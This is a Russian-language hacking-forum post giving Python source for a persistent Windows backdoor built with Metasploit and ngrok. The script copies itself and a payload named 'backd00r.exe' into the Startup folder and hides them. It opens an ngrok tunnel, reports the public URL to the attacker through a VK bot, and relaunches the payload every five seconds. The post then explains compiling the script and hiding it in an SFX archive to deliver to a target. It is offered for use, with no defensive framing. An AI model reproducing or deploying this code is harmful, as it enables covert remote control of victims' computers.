Установление постоянной meterpreter сессии через METASPLOIT и NGROK

lsdrfrx

Green Team
14.03.2019
16
1
BIT
0
Да, ngrok - такая себе тема. Периодически отваливается из-за блокировок или начинает лагать, но, думаю, эта статья поможет людям, которые по каким-то причинам не могут арендовать VDS. Скрипт будет реализован на языке Python.

Итак, приступим.

Необходимые библиотеки:

Python:
from pyngrok import ngrok
from threading import Thread
import time
import os
import vk_api

Библиотеку vk_api можно заменить на telebot - она понадобится для получения ссылки от ngrok

Собственно сам код:

Для начала нужно установить токен от ngrok:
ngrok.set_auth_token("Ваш токен")


В качестве нашего "оповещателя" будем использовать бота для группы в вк. Почему не телеграм, спросите вы? Ответ прост - наличие блокировки в России, отсутствие прямых рук и стабильного прокси. Получаем доступ к API ВК:

Python:
token = "ваш токен"
user_id = ваш userID типа int

vk_session = vk_api.VkApi(token=token, api_version='5.89')
vk = vk_session.get_api()

Далее происходит проверка пути запуска - если скрипт запущен не из папки "Автозагрузка" - он добавляется в автозагрузку:

Python:
path = 'C:\\Users\\' + os.getlogin() + '\\AppData\\Roaming\\Microsoft\\Windows\\"Start Menu"\\Programs\\Startup\\'
path1 = 'C:/Users/' + os.getlogin() + '/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/'

if os.getcwd() != path:

    os.system('copy a.exe ' + path)
    os.system('copy backd00r.exe ' + path)
    os.chdir(path1)
    os.system('attrib +h a.exe')
    os.system('attrib +h backd00r.exe')

    vk.messages.send(user_id=user_id, message="Added to startup!")

Создаем два потока - первый для соединения с ngrok, второй для беспрерывного открытия полезной нагрузки:

Python:
class NgrokThread(Thread):
    def __init__(self):
        Thread.__init__(self)

    def run(self):
        public_url = ngrok.connect()
        vk.messages.send(user_id=user_id, message="Server started: " + public_url)


class OpenThread(Thread):
    def __init__(self):
        Thread.__init__(self)

    def run(self):
        while True:
            os.system('backd00r.exe')
            time.sleep(5)


NgrokThread().start()
OpenThread().start()

После написания скрипт сохранить с расширением pyw и скомпилировать в exe-файл. Для этого запустим cmd, перейдем в каталог с нашим скриптом и напишем:

pyinstaller --onefile a.pyw

Использование:

Для начала создаем полезную нагрузку

1578307511262.png


Далее объединяем наш exe с полезной нагрузкой в SFX-архив:

1578308131525.png

1578308159138.png

1578308198956.png

1578308252955.png

1578308299458.png

1578308359253.png


Наш файл готов!
Дальше выбираем эксплоит:

1578308446358.png


Как только наш файл будет запущен на целевой машине, нам придет оповещение:

1578308636599.png


В удаленном хосте в метасплоите указываем ссылку от ngrok и подключаемся к нашей нагрузке:

1578308666995.png


Благодаря костылю в скрипте, полезная нагрузка будет запускаться каждые 5 секунд, а сервер будет запускаться при каждом включении компьютера

Как то так :)
 
  • Нравится
Реакции: swagcat228
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!